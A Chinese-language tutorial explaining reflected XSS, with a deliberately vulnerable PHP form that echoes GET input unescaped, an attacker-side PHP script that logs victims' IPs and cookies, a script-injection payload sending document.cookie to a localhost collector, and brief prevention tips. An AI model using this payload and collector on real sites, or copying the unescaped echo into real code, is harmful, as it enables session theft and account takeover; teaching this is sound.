XSS跨站指令碼攻擊過程的講解
跨站指令碼攻擊(也稱為XSS)指利用網站漏洞從使用者那裡惡意盜取資訊。以下為能夠演示器原理的完整樣例:
1.角色分配
有XSS漏洞的網站
受害訪問者。也就是瀏覽器
黑客的資料接受網站
2.原始碼例項
2.1漏洞網站
<?php
session_start();
?>
<!doctype html>
<html>
<head>
<title>XSS</title>
</head>
<body>
<form>
<input type="text" name="address" value="<?php echo $_GET['address'];?>"/>
<input type="submit" value="submit" />
</form>
</body>
</html>
該網頁把使用者通過GET傳送過來的表單資料,未經過處理直接寫入返回的html流,這就是XSS漏洞所在
2.2黑客接受網站
<?php
$victim = 'XSS得到的 cookie:'.$_SERVER['REMOTE_ADDR'].':' .$_GET['cookie'];
fill_put_contents('xss_victim.txt',$victim);
?>
把受害使用者的IP地址和訪問漏洞網站時使用的cookie,一起寫入xss_victim.txt檔案儲存備用
2.3使用者正常訪問
使用者使用瀏覽器訪問網站。現在的網站一般都採用session+cookie來儲存使用者登入資訊的。網站通過驗證cookie來確實是否是合法已登入使用者,所以cookie是敏感資料.
3.攻擊過程
3.1黑客準備攻擊字串,構造攻擊URL
黑客可以通過各種掃描工具或者人工輸入來找到有XSS漏洞的網站URL,然後精心構造攻擊字串。對於本例來說構造出來的字串為:
"/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!--
此時,使用者訪問漏洞網站的html程式碼,被修改成了這樣:
<!doctype html>
<html>
<head>
<title>XSS</title>
</head>
<body>
<form>
<input type="text" name="address" value=""/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!--"/>
<input type="submit" value="submit" />
</form>
</body>
</html>
明顯看出,這個html回去執行一個指令碼,這個指令碼的功能是把使用者的cookie傳送到黑客的接受網站。
最終生成的攻擊URL為:
3.2使用者敏感資料被髮送到黑客接受網站
受害使用者訪問攻擊URL後,其敏感資料自動傳送到黑客的接收網站。接收網站把這些敏感資訊儲存到檔案 中,當然現實的情況一定是存入資料庫中了。xss_victim.txt中現在儲存了受害者的敏感資料。
XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30
3.3黑客利用敏感資料做壞事
有了受害使用者的敏感資料,就可以利用這些資料做各種壞事了,比如以受害使用者的身份登入漏洞網站,等等
4.XSS的預防
XSS的預防可以從多方面著手:
1. 瀏覽器自身就可以識別簡單的XSS攻擊字串,從而阻止簡單的XSS攻擊;
2. 從根本上說,解決辦法是消除網站的XSS漏洞,這就需要網站開發者運用轉義安全符等手段,始終把安全 放在心上;